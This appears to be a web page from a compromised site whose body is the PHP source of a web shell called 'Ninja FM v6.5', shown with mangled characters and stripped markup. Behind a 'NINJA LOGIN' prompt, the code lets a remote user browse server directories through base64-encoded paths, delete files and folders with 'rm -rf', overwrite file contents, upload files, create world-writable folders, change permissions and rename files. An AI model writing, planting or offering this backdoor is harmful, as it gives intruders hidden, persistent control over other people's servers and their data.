Home Β» z

What’s New

z

s

πŸ₯· NINJA LOGIN

‘.(isset($err)?$err:”).’


‘);
}

// — 2. LOGIKA NAVIGASI —
$default_path = str_replace(‘\\’, ‘/’, getcwd());

if (isset($_GET[‘path’]) && !empty($_GET[‘path’])) {
$current_path = str_replace(‘\\’, ‘/’, realpath(base64_decode($_GET[‘path’])));
} else {
$current_path = $default_path;
}

if (!$current_path) $current_path = $default_path;

function encodePath($p) { return base64_encode($p); }

// — 3. ACTIONS —
$msg = “”;

// Aksi Hapus
if (isset($_GET[‘del’])) {
$target = base64_decode($_GET[‘del’]);
if (is_file($target)) unlink($target);
elseif (is_dir($target)) exec(“rm -rf ” . escapeshellarg($target));
$msg = “βœ… Terhapus!”;
}

// Aksi Edit / Simpan File
if (isset($_POST[‘save_file’])) {
file_put_contents($_POST[‘filepath’], $_POST[‘content’]);
$msg = “βœ… Tersimpan!”;
}

// Aksi Upload
if (isset($_FILES[‘f_upload’])) {
$dest = $current_path . ‘/’ . $_FILES[‘f_upload’][‘name’];
if (move_uploaded_file($_FILES[‘f_upload’][‘tmp_name’], $dest)) {
$msg = “βœ… Upload Berhasil!”;
}
}

// Aksi Membuat File Baru
if (isset($_POST[‘new_file_btn’])) {
$new_file = $current_path . ‘/’ . $_POST[‘new_filename’];
if (!file_exists($new_file)) {
file_put_contents($new_file, ”);
$msg = “βœ… File baru berhasil dibuat!”;
} else {
$msg = “❌ File sudah ada!”;
}
}

// Aksi Membuat Folder Baru
if (isset($_POST[‘new_dir_btn’])) {
$new_dir = $current_path . ‘/’ . $_POST[‘new_dirname’];
if (!file_exists($new_dir)) {
mkdir($new_dir, 0777, true);
$msg = “βœ… Folder baru berhasil dibuat!”;
} else {
$msg = “❌ Folder sudah ada!”;
}
}

// Aksi CHMOD
if (isset($_POST[‘chmod_btn’])) {
$target_chmod = $_POST[‘chmod_target’];
$permission = octdec($_POST[‘chmod_permission’]);
if (chmod($target_chmod, $permission)) {
$msg = “βœ… Permission berhasil diubah!”;
} else {
$msg = “❌ Gagal mengubah permission!”;
}
}

// Aksi Rename
if (isset($_POST[‘rename_btn’])) {
$old_path = $_POST[‘rename_old’];
$new_path = dirname($old_path) . ‘/’ . $_POST[‘rename_new’];
if (rename($old_path, $new_path)) {
$msg = “βœ… Nama berhasil diubah!”;
} else {
$msg = “❌ Gagal mengubah nama!”;
}
}
?>




Ninja FM v6.5


[LOGOUT]

πŸ₯· NINJA FM v6.5

πŸ“ Path:
root / ‘;
foreach ($parts as $part) {
if (empty($part)) continue;
$accumulated .= ‘/’ . $part;
echo ‘‘.$part.’ / ‘;
}
?>

$msg

“; ?>